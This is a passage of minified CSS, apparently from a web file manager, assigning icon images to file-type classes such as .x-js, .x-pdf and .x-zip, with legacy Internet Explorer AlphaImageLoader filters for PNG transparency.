\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none 